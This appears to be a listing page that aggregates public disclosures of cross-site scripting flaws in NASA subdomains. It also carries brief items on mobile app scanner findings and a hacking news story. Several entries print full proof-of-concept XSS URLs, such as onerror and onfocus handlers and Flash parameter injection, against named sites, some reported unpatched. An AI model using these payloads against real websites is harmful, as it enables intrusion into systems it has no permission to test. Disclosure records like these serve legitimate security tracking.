nasa.gov.dnstree.com XSS vulnerability

On the 29.12.2017 security researcher reported a XSS vulnerability affecting the nasa.gov.dnstree.com website via the Open Bug Bounty coordinated vulnerability disclosure program. Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitted via Open Bug Bounty| 29 December,...

astrobiology.nasa.gov XSS vulnerability

Open Bug Bounty ID: OBB-417843 Description| Value ---|--- Affected Website:| astrobiology.nasa.gov Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

science.gsfc.nasa.gov XSS vulnerability

Open Bug Bounty ID: OBB-385234 Description| Value ---|--- Affected Website:| science.gsfc.nasa.gov Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

spaceflight.nasa.gov XSS vulnerability

Vulnerable URL: https://spaceflight.nasa.gov/station/flash/start.swf?flashContentURL=javascript:confirm'XSSPOSED' Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 31.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

MindPoint Group and Trend Micro Help Secure NASA’s Successful Journey to the AWS Cloud

For decades NASA has launched countless successful explorations into space, but just recently took on the mission of launching their data into the cloud, similarly to many other organizations today. With the help of MindPoint Group using Trend Micro Deep Security, powered by XGen™, this was yet...

ntrs.nasa.gov XSS vulnerability

Vulnerable URL: https://ntrs.nasa.gov/search.jsp?amp;N=0&Nn=4294958283%7cDocument%2520Type%7cJournal%2520Article'%22%26%25prompt/OPENBUGBOUNTY/...

ntrs.nasa.gov XSS vulnerability

Vulnerable URL: https://ntrs.nasa.gov/?N=0=All=1%22%27--!%3E%3CScript%20/K/%3Econfirm%27OPENBUGBOUNTY%27//%3C/Script%20/K/%3E%3C!-- Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

ciencia.nasa.gov XSS vulnerability

Vulnerable URL: https://ciencia.nasa.gov/node/1210//%3C!'/!%22/!/'//%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirm'OPENBUGBOUNTY'%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| Yes, at 20.10.2017 Latest check for patch:| 20.10.2017 21:30 GMT Vulnerability type:| X...

ntrs.nasa.gov XSS vulnerability

Vulnerable URL: https://ntrs.nasa.gov/search.jsp?N=0=All=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt%2FXSSPOSED%2F%3E=mode%20matchallpartial https://ott.jpl.nasa.gov/index.php?page=%22%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 18.08.2017...

answers.nssc.nasa.gov XSS vulnerability

Vulnerable URL: https://answers.nssc.nasa.gov/ci/fattach/get/420/1494126568/filename/svgxss.svg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

gis.larc.nasa.gov XSS vulnerability

Vulnerable URL: https://gis.larc.nasa.gov/spaceopt/mediaplayer.swf?file=http://content.bitsontherun.com/videos/bkaovAYt-364766.flv=false&=true=javascript:confirmopenbugbonuty;//=blank&.swf Details: Description| Value ---|--- Patched:| Yes, at 24.07.2017 Latest check for patch:| 24.07.2017 20:33 G...

answers.nssc.nasa.gov XSS vulnerability

Vulnerable URL: https://answers.nssc.nasa.gov/app/error/errorid/404/url/%2522%253E%253Cimg%2520src%253D1%2520onerror%253Dprompt%2528'openbugbounty'%2529%253E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknow...

ladsweb.nascom.nasa.gov XSS vulnerability

Vulnerable URL: https://ladsweb.nascom.nasa.gov/browseimages/mid.html?date==2510423444==%27%22%3E%3E%3Cmarquee%3E%3Cimg%20src=x%20onerror=confirm%28%22XSSposed/OpenbugBounty%22%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.09.2017 Vulnerability type:| XSS...

wordpress.grc.nasa.gov XSS vulnerability

Open Bug Bounty ID: OBB-152019 Description| Value ---|--- Affected Website:| wordpress.grc.nasa.gov Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

mynasadata.larc.nasa.gov XSS vulnerability

Vulnerable URL: http://mynasadata.larc.nasa.gov/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

appel.nasa.gov XSS vulnerability

Vulnerable URL: http://appel.nasa.gov/grc-rocket-university-7/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

portal.nasa.gov XSS vulnerability

Vulnerable URL: https://portal.nasa.gov/home?ppid=NASA%20XSS%20BY%20MLT--%3E%3Cimg/src=%22%3E%20%22%20onerror=alert%28%27OPENBUGBOUNTY%27%29//%20pstate=maximized Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

NASA Space Weather - External URLs, Suspicious files, Unsafe deleting vulnerabilities

HackApp vulnerability scanner discovered that application NASA Space Weather published at the 'play' market has multiple vulnerabilities...

NASA App - Customized SSL, Redefined SSL Common Names verifier vulnerabilities

HackApp vulnerability scanner discovered that application NASA App published at the 'play' market has multiple vulnerabilities...

NASA HACKED! AnonSec tried to Crash $222 Million Drone into Pacific Ocean

Once again the Red Alarm had been long wailed in the Security Desk of the National Aeronautics and Space Administration NASA. Yes! This time, a serious hacktivism had been triggered by the Hacking group named "AnonSec" who made their presence in the cyber universe by previous NASA Hacks. The...